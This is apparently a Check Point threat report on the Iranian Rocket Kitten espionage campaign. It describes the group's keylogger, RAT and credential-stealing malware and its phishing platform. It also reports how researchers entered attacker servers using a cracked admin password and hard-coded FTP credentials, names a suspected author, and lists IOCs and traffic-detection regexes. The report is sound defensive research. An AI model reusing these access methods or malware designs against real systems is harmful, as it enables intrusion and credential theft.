Image 4wool3nh4t.blog.ir as pointed to by Trend Micro researchers In this publication, Trend Micro researchers document Rocket Kittens minor update to the Gholee malware (the gholee function was renamed to function), supposedly to avoid the Yara signature published by ClearSky and document the existence of Gholee malware samples dating March 2011, as further evidence for historic attacker activity.
ClearSky continued their investigations into the groups activities and in June 2015 published a paper dubbing the attack campaign Thamar Reservoir named after Dr. Thamar E. Gindin, herself a Rocket Kitten target.
ClearSky researchers notably mention the breach of an Israeli academic institution to serve as a hosting service for the phishing web site, and follow to present an OPSEC (operational security) failure by the attackers that allowed ClearSky to learn of a detailed (partial) target list.
Saudi Arabia 44 Israel 14 Yemen 11 Venezuela 8 Iraq 3 United Kingdom 3 Afghanistan 3 Egypt 2 United Arab Emerates 2 Kuwait 3 Turkey 1 Syria 1 Iran 1 Jordan 1 Canada 1 Spain 1 Morocco 1 Pakistan 1 2015 Check Point Software Technologies Ltd. All rights reserved 7 Image 5Partial target country distribution as visible on the phishing server logs exposed by ClearSky This list was analyzed to confirm a strong alignment with nation-state political interests, with specific victims known as adversarial or of intelligence value to Iran.
ClearSky also reference an inadvertent public confirmation for the Iranian attribution by the US Department of Treasury in a memo which briefly appeared online, before being deleted.
ClearSky provided many examples of personalized phishing e-mails and communication, including phone calls to victims luring them to open these attachments, demonstrating the groups persistency and breadth of operations.
Image 6 Custom- tailored phishing page as presented by ClearSky 2015 Check Point Software Technologies Ltd. All rights reserved 8 The same phishing phone calling scheme was detailed in an August 2015 report by Citizen Lab, describing attempts to lure victims to provide their two-factor authentication tokens.
In these attempts, victims receive tailored calls from a person who has clearly researched them, prompting them to take action on received e-mails.
Among targeted victims Citizen Lab mention EFFs Director for International Freedom of Speech Jillian York.
The Citizen Lab report describes overlapping phishing domains with ones previously reported, confirming a link with Rocket Kitten.
Image 7Google password reset phishing page as presented by Citizen Lab Interestingly, a special update to the Citizen Lab publication was added to include a response from a news outlet reported to be in close connection with Iranian intelligence, following allegations by exiled Iranian journalist Omid Memarian attributing these attacks to Iranian Revolutionary Guards10 with no doubt.
The response mocks the Western Media fishing in muddy waters and describe the allegations as weird.
The latest paper from Trend Micro and ClearSky (dated September 2015) goes a great length to detail the groups profile and mode of operations so far, and introduces a few more attack incidents, as well as a new downloader piece of malware.
10 A branch of the Iranian armed forces, sworn to protect the countrys Islamic system and prevent foreign interference.
2015 Check Point Software Technologies Ltd. All rights reserved 9 ROCKET KITTEN TOOLS INFRASTRUCTURE The Rocket Kitten attacker groups main attack vector is spear-phishing.
An effective phishing campaign requires nothing more than a tailored phishing page, hosted on a cheaply-available web server.
As described in previous publications, the Rocket Kitten attackers make extensive use of various phishing schemes, often including back-and-forth e-mail correspondence with the victims, or even phone calls to establish legitimacy and reason to open the malicious attachment.
Actual malicious attachments detected in this campaign varied between a set of custom-written malware pieces, or downloader components that, in turn, fetch the malware from a remote server and execute in on the victim machine.
Additionally, we have witnessed many attacks using various web hacking tools and suites, in attempt to break into victim web sites.
|
103
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Previously reported custom-malware included: CWoolgera C based woolen key-logger.
| 24,643
| 24,876
| 234
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data/reports_final/0103.txt
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Previously reported custom-malware included: CWoolgera C based woolen key-logger.
The malware records all keystrokes and sends out key-log data to a hard-coded FTP server.
Wrapper/Gholeerepurposed Core Impact penetration testing tool.
The malware allows a platform for remote access, pivoting for lateral movement and further malware installation.
FireMalva .NET based Firefox credential stealer.
This tool copies passwords stored in the Firefox browser storage.
Check Point investigations additionally discovered the attackers using the following: .NETWoolgera .NET based woolen key-logger.
This malware is functionally similar to CWoolger.
The attackers seem to use them interchangeably, as alternate infection mechanisms (in case one is detected at the victim computer).
MPKa custom RAT of wider functionality.
The malware allows key-logging, as well as remote command execution, screenshot grabbing and traffic monitoring.
For a detailed technical description of the MPK malware see Appendix B.
In addition to custom-written malware, we have seen the attackers use various hacking and scanning tools to attack victim web-sites.
MetasploitAn open-source, extensible penetration testing platform.
Metasploits meterpreter payload was wrapped in an executable file and distributed as a RAT attached to phishing emails by the attackers.
Havij SQLMapSQL injection tools Havij originates in Iranian development, while SQLMap is an open source project.
Acunetix Netsparkeroff-the-shelf web vulnerability scanners, attempting to automatically discover and exploit vulnerabilities in common web platforms.
WSO Web Shella well-known web shell - PHP script that allows backdoor access on a hacked server.
Typically deployed after successful compromise to allow further actions.
NIM-Shella web shell of Iranian hacker group origin with similar functionality.
Additionally uses Perl scripts on the hacked server.
Web hacking attempts were detected to originate from various IP ranges, occasionally immediately adjacent to known Rocket Kitten CC servers.
We can estimate the attack operators either used these servers directly, or configured them as Proxy/VPN endpoints to channel their attacks.
Combining the research work done so far with observed attacks by Check Point, we can map out a diagram overviewing the attackers infrastructure.
2015 Check Point Software Technologies Ltd. All rights reserved 10 Wrapper/Gholee index.php?c[CAMPAIGN_ID]r[INT] MPK //[mpk]\[COMMAND_ID] //[smpk][COMMAND_ID] MALWARE TRAFFIC 107.6.181.116 107.6.172.54 Woolger FTP Operators/VPN 107.6.181.100 107.6.172.52 107.6.154.230 107.6.172.55 MPK CC 107.6.172.53 Mail 107.6.181.114 107.6.172.51 5.39.223.227 31.192.105.10 Phishing NETHERLANDS SingleHop [107.6.181.96-127] [107.6.172.50-62] [107.6.154.224-231] HostKey C/.NET Woolger MPK Wrapper/ Gholee NIM-Shell WSO VICTIMS 84.11.146.61 Operators/ VPN 5.145.151.6 Woolger FTP Wrapper/ Gholee CC 84.11.146.55 84.11.146.62 GERMAN SATELLITE BusinessCom [5.145.151.1-7] IABG [84.11.146.52-63] 109.169.61.8 Phishing 109.169.22.72 Operators/VPN 109.169.22.71 109.163.22.69 MPK CC UK RapidSwitch [109.169.22.69-72] [109.169.61.4-8] Operators/VPN 212.118.118.100 SAUDI ARABIA Cyberia 162.223.91.226 162.222.194.51 Operators/VPN 162.223.90.148 USA ColoUp Global Layer BV :21 :21 :21 :80/ 443 :8900/8899/ 8987/9090/ 1993 We have no reason to believe any of the mentioned providers are related to the malicious activity.
The campaign operators likely masqueraded as a legitimate customer or hacked into the servers without the knowledge of the service provider.
Specified ranges are likely to be assigned in whole for the attackers use.
Due to the dynamic nature of IP assignment, these may expire after the release of this report.
Because of the way satellite communications work, the infrastructure geo-located to Germany may not be physically located in that country.
It would be an educated speculation to assume the servers are physically located in Iran.
This assumption is supported by several indicators, including registrant details.
2015 Check Point Software Technologies Ltd. All rights reserved 11 GEFILTE PHISHBEST SERVED COLD After learning of an active attack incident from the Rocket Kitten group on a customer network, Check Point researchers decided to actively join the investigation.
While the recent paper from Trend Micro and ClearSky (The Spy Kittens Are Back: Rocket Kitten 2) does extensively cover the campaigns narrative, we aimed to seek confirmation that our analyzed attack was positively connected to the same campaign and set out to provide additional value and insight.
Upon learning of the attack, we attempted to communicate with the phishing web server and gather primary reconnaissance.
We learned the same IP address was used for multiple malicious domains.
Noting the server on this IP address was alive and well, we decided to probe and question that particular servers purpose.
What we found took us all by surprise.
We started our web probe by making scripted GET requests attempting to browse to well-known paths.
A minute later, we were excited to find a 200 OK response for a few requests, including /xampp and none other than /phpmyadmin().
Suspecting false positive results by our scripts, we typed in /xampp into our browser and watched with awe: We curiously entered the direct path into our web browser and loaded the phpmyadmin interface.
It wasnt until we actually submitted a query on the server, when we understood that phpmyadmin had been configured to allow password-less root access to any browsing visitor.
Such a gaping hole must be a decoy we immediately thought.
There is no way nation-state attackers would err in such amateur fashion, leaving their phishing server database exposed would they?
Image 8A default configuration of XAMPPon a live attacker server 2015 Check Point Software Technologies Ltd. All rights reserved 12 If only they had paid attention to the XAMPP Security page: Happily browsing through the free-for-all exposed database, we quickly noted numerous schemas most of them were completely empty (for testing purposes?
),
with one specific schema standing out: phakeddb.
Image 10phakeddb schema note utf8_persian_ci collation for several tables phakeddb contained a set of very interesting tables and data sets the kind of data sets that fuel the fantasies of malware campaign researchers.
Browsing these tables, we found the phishing web application, likely to be a custom development by the Rocket Kitten attackers.
The web application would, upon operator instruction, generate the target-specific personalized phishing page for the targeted service (Gmail, YouTube, Hotmail, etc).
As we later learn, this platform was named Oyun Management System by the attackers.
Image 9 The MySQL admin user root has NO passwordUNSECURE 2015 Check Point Software Technologies Ltd. All rights reserved 13 Let us first look at the users table: Image 11the users table The attackers log in to the application, just like any other web platform, in order to set up their phishing campaigns.
This server seems to have been deployed August 2014, when all users were created.
And the hash type of passwd fields used?
You may not be surprised to learn they used unsalted MD5 hashes.
Thats actually not the most oblivious malpractice in this system, however the hash for the user named super admin (assigned with all possible permissions) is e10adc3949ba59abbe56e057f20f883e.
Hobbyist cryptographers may recognize this string as the MD5 hash for 123456.
Looking at user names, we can spot some potentially Persian names or aliases such as merah, kaveh, ahzab or amirhosein.
These were potentially the campaign operatorstasked with social engineering and tailoring a phishing page per target.
(
hint: 123456 was not the only trivially crackable password in this list) Moving on to the intriguing conversation table, this appears to be an experimental messaging feature between attackers.
Unfortunately, it was rarely used.
Image 12the conversation table 2015 Check Point Software Technologies Ltd. All rights reserved 14 Most messages include links to various phishing domain pages, perfectly correlating to reported attack pages, proving this database is indeed in direct correlation to the attacks.
Interestingly enough, we can see user id 55 (correlating with the attache username in the users table) making a request: please 20 subject for me.
tank you attache Later on, user id 60 (john) pleas: seyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedddddddddddddd ddddddddd please please please support me please I need make a new project please add 50 subject tank you so match fadaaaaaaaaaaaaaaaaaaaaat bos bos 0 As boos is Farsi for kiss, bos bos might be considered the Persian version of xoxo.
What does that mean?
What projects and subjects are this systems users referring to?
A glimpse into requiretypes lays out a much clearer description for this systems purpose: Image 13the requiretypes table 2015 Check Point Software Technologies Ltd. All rights reserved 15 We can see template codes for phishing pages, including the descriptive Victim Full Name, Victim User Name field values.
It seems that this application generates the custom phishing templates using these custom fields.
Even more telling, we have examples for each field, reintroducing us to our Wool3n.
H4T friend (author of key-logger malware by the same group), repeatedly mentioned in this column.
This introduces the reasonable possibility that Wool3n.
H4T himself wrote this phishing application as a supporting tool for the campaign.
There is an intriguing supervisorybsoft.com reference, too, but ybsoft.com is currently registered to a Chinese electronics shop, so no luck in that direction.
The real jackpot, however, is still ahead.
When we opened the projects table, we momentarily lost our breath.
A project is apparently a single victim (target e-mail address), assigned with a proj_id, a tasked operator, and the specific link that was generated to be sent to this victim.
We just hit 1842 records including all victims attacked starting August 2014 and all the way to August 2015 (when this database was accessed).
Image 14the projects table Not only do we have the e-mail addresses of all victims, we also have the template values for their respective phishing pages (in the projectmailrequirevalues table).
For example a Google Sign-In page normally displays the full name of the victim, as well as a public avatar defined by the user.
The attackers had to replicate this look and feel, and filled the database with full names, addresses and photos for every targeted victim.
We verified and retrieved names and images of previously reported victims as expected.
2015 Check Point Software Technologies Ltd. All rights reserved 16 Image 15 the projectmailrequirevalues table But what does projectlogs contain?
Is that what we think it is?
Image 16 log of every access to any phishing page on that server This table contained a log entry for every access to any phishing page, including the credentials provided by the victims, if successfully fooled.
We can now use this data to gather insightful analytics on spear phishing activity over one year spanning August 2014 to August 2015.
Please see the attack log analysis section in this report.
Continuing our server probe, we discovered a similarly exposed Webalizer interface, providing useful analytics including counters and frequently accessed links.
2015 Check Point Software Technologies Ltd. All rights reserved 17 Image 17Webalizer statistics for August 2015 The Webalizer interface neatly presented us with a lot of useful metadata, including Top 40 visitor IPsclearly identifying attacker access to the site, and providing us with many leads for the remainder of the investigation.
Interestingly enough, we also found some referrer headers, leading to a path on the same server: Image 18login screen 2015 Check Point Software Technologies Ltd. All rights reserved 18 In what can be described as a hacker secret access portalwe seem to have reached the web interface of the phishing platform.
Testing the admin credentials we previously crackedwe get: Image 19the Oyun Mangement System (OMS) [sic] We now learn the attackers name this system Oyun and actually used Larry Pages public profile picture as admins avatar.
The remainder of the interface simply allows access to the phakeddb database, including insertion, editing of projects (/targets) and even the internal chat platform as evident in conversations.
WOOLGEREDHOISTED BY THEIR OWN PETARD Using credentials hard-coded into the woolen key-logger, we were able to retrieve numerous woolger DAT files (key-logs), as uploaded from victims around the world.
As apparent, the same hard-coded FTP credentials were, in fact, Administrator credentials on the CC Windows server itself, which had the C and D NetBIOS/SMB administrative shares openly accessible from the WAN.
Image 20if you didnt want to allow researchers to have administrator access to your CC server captain_hindsight.png you shouldnt have hard-coded administrator credentials into your malware.
2015 Check Point Software Technologies Ltd. All rights reserved 19 Among many logged keystroke files containing stolen data, we stumbled on an astonishing discovery: the Rocket Kitten attackers had, in fact, infected their own workstations, apparently as test-runs for woolger.
The attackers failed to remove these files from the CC server, demonstrating, yet again, utter lack of OPSEC.
Of peculiar interest to us were logs made by none other than Wool3n.
H4t himself: Image 21The test worked.
Would you be surprised what followed in the same log file?
Image 22The attacker testing his own tool.
Yes, we actually just witnessed Wool3n.
H4T switching through his open windows, including a Microsoft Visual Studio live debugging session of a project called CWoolger In another log, we observe the specific programming of loading of the wsc.vbs script, as observed in the Trend Micro publication and others.
At this point, there should be no questionwe are looking at the malware authors development workstation.
Image 23Mutexes and thread-safety should be the least of your worries.
2015 Check Point Software Technologies Ltd. All rights reserved 20 The next log shows us the attacker wanted to test whether his tool would accurately capture credentials entered into a Firefox HTTP authentication prompt, and thus he entered his own CC server Image 24 All of Wool3n.
H4Ts retrieved logs were dated October 2014.
Then, we spotted this log segment: Image 25 AOL Mail already narrowed it 2015 Check Point Software Technologies Ltd. All rights reserved 21 Recorded under the Wool3n.
H4T name, a user logs into AOL mail with username yaserbalaghi.
Could it be the same Yaser as noted in the recent Trend Micro and ClearSky paper?
(
D:\Yaser Logers\CWoolger) Could it explain the Phakeddb reference to ybsoft?
We dont know at this point we have to go deeper.
yaserbalaghiaol.com appears to give a technical answer in a long C thread in an Iranian programmers forum (Barname Nevis) in Iranian Solar Hijri calendar year 1389 (2010-2011): The same yaserbalaghi user made several posts, also linking to various programming instructional videos in the subjects of ASP.NET and AJAX, jQuery and SQL injections as instructed by him using screen capture software.
Careful watching of the videos allowed us to learn a few interesting details.
For starters, Yaser Balaghi is a Microsoft Visual Studio 2010 user, with familiarity of several tools observed to be used during the Rocket Kitten campaign.
Image 26Screenshot taken from instructional video by Yaser Balaghi (Engineer Balaghi) 2015 Check Point Software Technologies Ltd. All rights reserved 22 Image 27EngineerBalaghi host name Further inspecting the user names and host names evident in the screen captures, we noticed we were actually in possession of logged keystrokes from an infected computer where the user name was Engineer Balaghi, strengthening our suspicions.
However, we cant be sure yet Yaser Balaghi may be a common name or perhaps this is someone related to Wool3n.
H4T or the attackers.
A few minutes later, and we spotted this gem of an OPSEC mistake in the SQLi instructional video, which precisely provided the smoking gun we were after: Image 28Watching an hour of Farsi SQL injection tutorial has its rewards 2015 Check Point Software Technologies Ltd. All rights reserved 23 Wool3n.
H4t is caught red-handed.
One of his many mistakes, he was now caught giving a public tutorial while logged in under his secret alias, otherwise unlinked with his real identity.
These videos were recorded February 2014, prior to the first clear Rocket Kitten attack wave mid-year.
A quick glance on W00l3n.
Hats desktop reveals a striking match with web hacking attack tools previously described in Rocket Kittens arsenal.
Image 29Havij, Acunetix, Netsparker, SQLMap, wamp, and ohis that IDA properly licensed?
A few online queries later, we are getting numerous results, cross-referenced to verify as the same Yaser Balaghi, now the main suspect to hold the Wool3n.
H4T identity.
Engineer Yaser Balaghi is not only an active member of various programming forumshe had a web site (www.eng-balaghi.com, gone offline since August 2014, still available in the Wayback Machine).
In the available archived version of the site he described himself as a programmer, analyst, consultant and lecturer, and made himself available for hire.
Image 30Yaser Balaghis stackoverflow account 2015 Check Point Software Technologies Ltd. All rights reserved 24 If all that wasnt enough, we also managed to retrieve an updated resume for Tehran-based Engineer Balaghi: Image 31 Yaser Balaghis Resume (2013) Islamic Azad University Computer Software Graduate Balaghi lists his job experience, including Technical Director and Team Leader of Software Development Team (Private) (highlighted in original), as well as Head of Security and Hacking (legal and ethical) (Private).
Later, he goes as far as listing sample accomplishments and completed projects, including the development and system design for a Phishing Attacks System ordered by a cyber-organization.
Image 32 (original and translation)we kid you not.
We could go on, but the main lesson of this section can be: if you dont want people to know you created malware for the government, dont list it in your CV.
2015 Check Point Software Technologies Ltd. All rights reserved 25 REELED INPHISHING LOGS ANALYSIS As reported so far, the attackers persistently e-mailed, called and responded with fake identities, tailored for each victim.
The attackers clearly read the public reports about them, respond and adapt their tactics, occasionally showing a creative mindset.
In one reported case, the attacked posed under the true identity of a ClearSky researcher, referencing the recent Rocket Kitten report, attaching detection software that does exactly the opposite.
This an interesting tactic, worthy of mentioning in social engineering classes.
It would be wise at this point to mention that the release of report does not include any accompanying detection or protection tools other than the existing Check Point software blades.
If you received this report with an attached executable, it is likely a malicious lure.
In another case, the attackers sent a malicious attachment using the identity of a previously known targeted victim.
The Israeli recipient of that attachment was wary enough to suspect the origin of the e-mail and responded with a query: Is that you or are the Iranians in your computer again?
To which the attackers responded (in perfect non-Google-Translate Hebrew): The Iranians will never return to my computer That very well may have been the talk of the day at the Tehran operations center, possibly featured in an email printout in the main dining room.
As the Rocket Kitten groups behavior was well characterized in previous publications (see the recent report from Trend Micro and ClearSky).
We will focus on new insights based on our analysis of the Oyun system victim database.
We understand that this database contains a partial view, starting August 2014 to August 2015.
While the data can be successfully correlated with logs collected from other servers, we have no visibility of e-mails with malicious attachments (as opposed to phishing links to steal credentials), or any complete web hacking log for attacker activity.
The sheer volume of the target database suggests an extensive operation, the work of a group of people over months.
The logs included the visiting IP address geo-located country.
Our analysis shows the following distribution: Chart 1Phishing visitors country distribution We have studied the visitor data to determine this includes many attacker accesses to test the site functionality.
We know the attackers used addresses from Iran, as well as VPN access from the US, Germany, Saudi Arabia and the Netherlands.
The data must be interpreted taking these facts into consideration.
Saudi Arabia 18 United States 17 Iran Islamic Republic of 16Netherlands 8 Israel 5 Georgia 4 Other 18 Turkey 3 United Kingdom 3 Afghanistan 2 Satellite Provider 2 Germany 2 Ireland 1United Arab Emirates 1 2015 Check Point Software Technologies Ltd. All rights reserved 26 Our primary filtering dismissed around 25 of logs and 15 of projects as test runs for the system.
The following is based on the remaining seemingly valid entries.
Charting the phishing logs over time, we can observe the following timeline: Chart 2Phishing logs and successes over time We can study this data to make a few interesting observations: On average, all phishing pages on this server had 26 success in fooling victims to enter their credentials.
These are surprisingly high results, potentially attributed to persistency and well-targeted e-mails.
On May 26, 2015, there is a unique peak of access to the site, with minimal successes.
When analyzed, these accesses appear mostly in 3 batches over periods of minutes, with incremental project_ids and no data provided, from Israeli IP addresses.
We can safely discard these as researcher probes, attempting to brute-force phishing pages, immediately preceding the ClearSky June publication.
The attackers seem to have shut down their platform on June and July (likely due to the publication) and resumed operations during August.
We found evidence to suggest the database had been migrated from a previous server.
Slicing the projects table by user_id allows a unique internal look on operator assignment while our target analysis is far from conclusive, we can share a reserved primary assessment of what each user was tasked with: User Projects Target Profile admin 83 projects strictly system testing anonymous 522 projects this is one of the prominent users in the system, tasked with all around mixed targetsfocused on Saudi Arabia, many human rights activists, CEOs and ministry officials.
merah 147 projects assigned with all Israeli targets, notably including known physics and nuclear scientists, former military officials, national security and foreign policy researchers.
This operator is probably a fluent Hebrew speaker.
kaveh 57 projects very little activitymostly testing and some Venezuelan targets.
ahzab 691 projects one of the two busiest operators, in 2014 he targeted a vast amount of Saudi scholars and persons of influence, and later listed education and media outlets in Saudi Arabia.
124 attache 233 projects these users both showed clear targeting of defense sector victims, as well as embassies of Irans neighboring countries and others.
Quite fitting with one of their usernames, they listed several military attachs in their victim list.
Notable targets include representatives from the United Arab Emirates, NATO and other regional posts in Afghanistan as well as Thailand and Turkey.
john 108 projects During late 2014 he was directly tasked with Venezuela trade and finance targets, later in 2015 he moved to former Iranians living abroadlisting professors, scientists, journalists and investors Despite our limited visibility, we can confirm many of these attacks were successfulthe attackers gained confidential information from various targets all around the world.
83 36 69 112 124 39 23 18 2 5 3 12 4 5 41 27 33 28 31 51 75 5 00 Aug 2014 Sept 2 014 Oct 2014 Nov 2 014 Dec 2 014 Jan 2015 Feb 2015 Mar 2 015 Apr 2 015 May 2 015 Jun 2015 Jul 2 015 Aug 2015 Visited Phishing Site Entered Credentials 1592 2015 Check Point Software Technologies Ltd. All rights reserved 27 EPILOGUE We believe the Rocket Kitten case is an interesting case study for the malware research industry, exemplifying a continuing trend in the nation-state attacker profile we have witnessed over the past two years cyber-espionage is no-longer reserved to organizations with monstrous budgets to hire thousands of cyber-warriors, operate password-cracking super-computer clusters or advanced research to infect your hard-drive firmware.
Adversaries will often find simpler ways for effective compromise, such as creative phishing and simple custom malware.
In this case, as in other previously reported cases, it can be assumed that an official body recruited local hackers and diverted them from defacing web sites to targeted espionage at the service of their country.
As is often the case with such inexperienced personnel, their limited training reflects in lack of operational security awareness, leaving a myriad of traces to the origin of the attack and their true identities (e.g.
Yaser Balaghi, Mehdi Mahdavi and others).
Despite publications, code names and articles in security outlets - the same known attacker group continues to attack with minimal interruption.
Highlighting a repeating industry problem, minimal changes to existing malware often evade most current protection solutions.
Effectively stopping attackers must involve action on top of analysis efforts.
We approached and will continue to approach hosting providers through the assistance of CERT coordination and other bodies in various countries.
We hope these efforts are fruitful, and can help disable or reduce the attacking infrastructure.
If you would like to share important information regarding this campaign, please use icanhazrocketcheckpoint.com 2015 Check Point Software Technologies Ltd. All rights reserved 28 APPENDIX AINDICATORS OF COMPROMISE Samples All hashes are MD5 or SHA1 Lure Documents / Droppers 01c9cebbc39e273ac1f5af8b629a7327 08273c8a873c5925ae1563543af3715c 1685ba9dbdb0e136d68e0b1a80a969b5 177ef7faab3688572403730171ffb9c4 1ceca1757cb652ba7e5b0d45f2038955 266cfe755a0a66776df9fd8cd2fee1f1 271a5f526a638a9ae712e6a5a64f3106 2cb23916ca60a63a67d974f4ddeb2a11 393bd2fd420eecf2d4ca9d61df75ff0c 395461588e273fab5734db56fa18051b 48573a150562c57742230583456b4c02 4bf2218eb068385ca1bfff8d609c0104 50d3f1708293f40a2c0c1f151c2c426f 54ee31eb1eed79d4ddffd1423d5f5e28 55ff220e38556ff902528ac984fc72dc 5a009a0d0c5ecaac1407fb32ee1c8172 5af0cbc18c6f8ed4fd1a3f68961f5452 60f5bc820cf38e78b51e1e20fed290b5 61a808ce0b645c4824d79865be8888ed 85b79953bf2b33fb6118dc04e4c30910 8ed01ac79680d84c0ee7a5f027d8b86a 9fc345c25e6ab94bca2db6ee95d2c861 ac94ee83c91ca784a88ff26cf85e273a aeb9d12ecbe73bfa91616ebacf24831b c9ea312c35e9ac0809f1c76044929f2f d0c3f4c9896d41a7c42737134ffb4c2e d14b3e0b82e3b5d6b9cc69b098f8126d e1a5b4ffc612270425d5d31f4c336aa9 f68a0a3784a7edfc60ad9333ec209cbf f8547010eb4238f8fb76f4e8a756e36d 0482fc2e332918456b9c97d8a9590781095b2b53 0f4bf1d89d080ed318597754e6d3930f8eec49b0 1a999a131144afe8cb7316ebb842da4f38101ac5 2627cdc3324375e6f41f93597a352573e45c0f1e 2c3edde41e9386bafef248b71974659543a3d774 46a995df8d9918ca0793404110904479b6adcb9f 4711f063a0c67fb11c05efdb40424377799efafd 476489f75fed479f19bac02c79ce1befc62a6633 64ba130e627dd85c85d6534e769d239080e068dd 6571f2b9a0aea89f45899b256458da78ac51e6bb 788d881f3bb2c82e685a98d8f405f375c0ac2162 9579e65e3ae6f03ff7d362be05f9beca07a8b1b3 a9245de692c16f90747388c09e9d02c3ee34577e ad6c9b003285e01fc6a02148917e95c780c7d751 ae18bb317909e16f765ba2e88c3d72d648db2798 b67572a18282e79974dc61fffb8ca3d0f4fca1b0 c485b0d59b28d37a1ac80380b0d7774bdb9d8248 c727b8c43943986a888a0428ae7161ff001bf603 2015 Check Point Software Technologies Ltd. All rights reserved 29 e2728cabb35c210599e248d0da9791991e38eb41 e6964d467bd99e20bfef556d4ad663934407fd7b ec692cf82aef16cf61574b5d15e5c5f8135df288 ed5615ffb5578f1adee66f571ec65a992c033a50 f51de6c25ff8e1d9783ed5ac13a53d1c0ea3ef33 f7f69c5ed94a03f6d57e9afd33c2627ff69205f2 Wrapper / Gholee 05523761ca296ec09afdf79477e5f18d 08e424ac42e6efa361eccefdf3c13b21 0b67ebed08f09c0584b92f4e94ced778 13039118daadbe87e337310403e64454 14f2e86f11114c083856c92095d79256 1b02ac8c0e1102faaee70f4026cad291 223feb91efbe265696f318fb7c89c3fd 3dd221b0ea6f863e086868b246a6a104 4215d029dd26c29ce3e0cab530979b19 48573a150562c57742230583456b4c02 4b0edcd1d2953c26b6fc4298e8bf9150 4cdc28ab6e426dc630638488743accfb 58bcfe673d21634616d898c3127bd1bc 60f5bc820cf38e78b51e1e20fed290b5 63558e2980d1c6aaf34beefb657866fe 8a45dfec98dd96c86d933d9c1d6ef296 8bd58db9c29c53197dd5d5f09704296e 916be1b609ed3dc80e5039a1d8102e82 a42cea20439789bd1d9a51d9063ae3e4 b7de8927998f3604762096125e114042 b884f67c247d3dd6c559372a8a31a898 b8fb83d76eb67cbeed0b54c02a68256b c222199c9a7eb0d162d5e96955739447 d5517542b5f8dc2010933ee17a846569 da976a502a3afc4ba63611d47c625738 ee41e7c97f417b07177ea420afe510a1 f3c3ed556072209b60c3342ddefba0f9 f89a4d4ae5cca6d69a5256c96111e707 02b04563ef430797051aa13e48971d3490c80636 07a77f8b9f0fcc93504dfba2d7d9d26246e5878f 0b0cdf47363fd27bccbfba6d47b842e44a365723 0b880fb3414374dbbf582217ee0288a76c904e9b 22f6a61aa2d490b6a3bc36e93240d05b1e9b956a 25d3688763e33eac1428622411d6dda1ec13dd43 37ad0e426f4c423385f1609561422a947a956398 476489f75fed479f19bac02c79ce1befc62a6633 47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f 53340f9a49bc21a9e7267173566f4640376147d9 58045d7a565f174df8efc0de98d6882675fbb07f 62172eee1a4591bde2658175dd5b8652d5aead2a 6e30d3ef2cd0856ff28adce4cc012853840f6440 729f9ce76f20822f48dac827c37024fe4ab8ff70 7ad0eb113bc575363a058f4bf21dbab8c8f7073a 7fef48e1303e40110798dfec929ad88f1ad4fbd8 2015 Check Point Software Technologies Ltd. All rights reserved 30 8074ed48b99968f5d36a494cdeb9f80685beb0f5 86222ef166474e53f1eb6d7e6701713834e6fee7 c1edf6e3a271cf06030cc46cbd90074488c05564 c6db3e7e723f20ed3bcf4c53fc4748e9591f4c40 cabdfe7e9920aeaa5eaca7f5415d97f564cdec11 ce03790d1df81165d092e89a077c495b75a14013 e6964d467bd99e20bfef556d4ad663934407fd7b e8dbcde49c7f760165ebb0cb3452e4f1c24981f5 efd1c6a926095d36108177045db9ad21df926a6e fa5b587ceb5d17f26fe580aca6c02ff2e20ad3c4 fd8793ce4ca23988562794b098b9ed20754f8a90 fe3436294f302a93fbac389291dd20b41b038cba ffead364ae7a692afec91740d24649396e0fa981 FireMalv Credential Stealer 0b0e2c4789b895e8ac44b6ada284aec1 29d93b156bcfbcecf79c5ba389094796a1ba76ee Woolen-Keylogger 0a22232c1d5add9d7aabdf630b6ed5af 0e2dc1cb6bda45d68ee9c751e37df73b 1a2b18cb40d82dc279eb2ef923c3abd0 1f7688653c272d5205f9070c2541a68c 3c6c1722acfb70bfa4453b69e99c98bb 662d094799e9c7108f35c00eb894205f b4790618672197cab31681994bbc10a4 c72dce99e892bbf2537f5285a01985c0 f7e093d721d2616ecb9067934a615f70 f898eef9dfa04820bb2f798e063645a7 f9b235067b1c607b5b26896d465b6665 29968b0c4157f226761073333ff2e82b588ddf8e 5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3 8e1bd64acd8bbe819ac60650eb1fa4f501d330ec a42f1ad2360833baedd2d5f59354c4fc3820c475 a65b39d3919f15649106a039469013479a31ba4b b9842058c88170cc45183aaaae4206c74e6c7351 c8096078f0f6c3fbb6d82c5b00211802168f9cba d5b2b30fe2d4759c199e3659d561a50f88a7fb2e db2b8f49b4e76c2f538a3a6b222c35547c802cef eeb67e663b2fa980c6b228fc2e04304c8992401d faf0fe422259d36494a0b2c9ccefe40dee978f31 2015 Check Point Software Technologies Ltd. All rights reserved 31 MPK 014bf8a588f614883d3d8b96024cd278 5c66b560f70c0b756bfc840b871864ce d1b526770abb441d771f4681872d2fcb eb6a21585899e702fc23b290d449af846123845f f2ed8cd0154ae4d6ecf52a0bcf5fa80c7095dcd2 f710bd9ea40fd94c06d704c00e16a5941544378f Network Traffic Wrapper/Gholee HTTP/HTTPS [80/443] index\.php\?c\wr\d Woolger FTP [21] to 107.6.181.116, 107.6.172.54, 5.145.151.6 MPK raw [8900,8899,8987,9090,1993] - \/\/\[mpk\]\\\d4 example: //[mpk]\2012 \/\/\[smpk\]\\\d4 example: //[smpk]1992 Domains account.login.gfimail.us accounts.google.uk.to account-user.com drive-google.co drives-google.co gfimail.us gmail-member.us.to google-setting.com google-verify.com login.miicrosoftonline.us.to login.office365.uk.to logins-verify.com login-users.com mail.mail2.mod.gov.af.mail.al mail-verify.com my.idc.ac.il.my.to outlook.profile.com.hmail.us outlook.tau.ac.il.mail.al owa.inss.mises.org.il owas.haifa.ac.il.info.gf owas.haifa.us.to profile.gmail.us.to profile.google.uk.to profiles.faceboek.in 2015 Check Point Software Technologies Ltd. All rights reserved 32 profiles.googel.com.inc.gs profiles.googlemembers.com.home.kg profiles-google.uk.to qooqle.co secure.www.cfr.us.to service-logins.com signin-users.com signin-verify.com signs-service.com verification.google-it.info video.qooqle.co webmail.tau.ac.il.us.to webmail.technion.ac.il.us.to yahoo-profiles.uk.to youtube.com.now.im IP addresses [107.6.181.96-127] [107.6.172.50-62] [107.6.154.224-231] 107.6.181.116 107.6.172.54 107.6.172.55 107.6.181.114 107.6.172.51 107.6.172.53 107.6.181.100 107.6.172.52 107.6.154.230 5.39.223.227 31.192.105.10 [5.145.151.1-7] 5.145.151.6 [84.11.146.52-63] 84.11.146.55 